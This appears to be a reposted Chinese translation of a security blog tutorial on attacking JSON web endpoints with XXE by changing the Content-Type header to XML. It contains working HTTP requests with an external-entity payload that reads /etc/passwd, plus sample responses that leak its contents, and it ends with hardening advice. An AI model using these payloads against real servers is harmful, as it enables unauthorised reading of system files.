正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。
尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击,[参见安全脉搏《未知攻焉知防——XXE漏洞攻防》],这种攻击利用了服务器上脆弱配置的XML解析器。
XXE是一种大家所熟知的针对XML节点的攻击方式。为了利用这种攻击,需要在XML payload中包含外部实体声明,并且需要服务器对实体进行扩展,这就可能会导致以下结果:对web服务器文件系统的读取权限、通过UNC路径对远程文件系统的访问或者通过HTTP/HTTPS连接到任意主机。XXE攻击依赖于XML payload中的内联DOCTYPE定义。
在接下来的例子中,我们声明了一个指向web服务器上/etc/passwd文件的外部实体,并将其包含在了XML payload中:
1
2
3
4
|
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]
|
这就构成了一个简单有效的攻击。现在,就让我们玩转一下Content – Type头和HTTP请求payload,然后看看是否可以利用它对JSON节点发起攻击。下面是一个示例JSON请求,请求中Content-Type设置为application / JSON(删除了一些无关紧要的内容)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{“search”:“name”,“value”:“netspitest”}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{“error”: “no results for name netspitest”}
|
此时,如果将Content – Type头更改为application / xml,那么客户端将告诉服务器说POST payload是XML格式的数据。
如果不是,那么服务器将无法解析它,并且可能会显示与下面类似的错误提示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{“search”:“name”,“value”:“netspitest”}
HTTP Request:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{“errors”:{“errorMessage”:“org.xml.sax.SAXParseException: XML document structures must start and end within the same entity.”}}
|
该错误表明服务器能够处理XML格式的数据以及JSON格式的数据,但是因为发送过来的并不是Content-Type头中所指明的XML格式数据,所以数据无法被正确解析。为了克服这个问题,JSON数据必须转换成XML格式。网络上有很多在线工具可以提供此功能,并且Eric Gruber开发了一个Burp插件来在Burp中自动实现转换(Content-Type转换器)
1
2
3
4
5
6
7
8
9
|
Original JSON
{“search”:“name”,“value”:“netspitest”}
XML Conversion
<?xml version=“1.0″ encoding=“UTF-8″ ?>
<search>name</search>
<value>netspitest</value>
|
然而,这种直接的转换会导致得到的是一个无效的XML文档,因为它没有根元素,而根元素是正常XML文档所必须的内容。如果这个无效的XML发送到了服务器,有时服务器会返回一个错误消息来提示需要什么样的根元素,同时随着返回对应的名称空间。否则,最好的方法是添加根元素<root>将它变成一个有效的XML文件。
1
2
3
4
5
|
<?xml version=“1.0″ encoding=“UTF-8″ ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>
|
现在可以将原始的JSON请求以XML形式发送,并且服务器将会返回一个有效的响应
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
<?xml version=“1.0″ encoding=“UTF-8″ ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{“error”: “no results for name netspitest”}
|
既然现在服务器接受了XML输入,那么我们就可以利用XXE 来攻击JSON节点了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version=“1.0″ encoding=“UTF-8″ ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{“error”: “no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
|
显然,并不是每一个JSON节点都接受XML。有时改变Content-Type头可能没有任何影响,也可能会导致415不支持的媒体类型错误消息。但另一方面,JSON转XML攻击并不仅仅局限于JSON内容的POST payload。我也见到过这种方法对JSON格式的GET和POST参数攻击也有效。如果将JSON参数进行转换并以XML形式发送到服务器,那么服务器将猜测它的内容类型。
所以,为了强化JSON节点的安全性,应该禁用XML解析或者禁用内敛DOCTYPE声明,以此来防止XEE注入攻击。
【via:playing-content-type-xxe-json-endpoints / 安全脉搏 】
相关文章链接:《XXE注入攻击与防御》
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号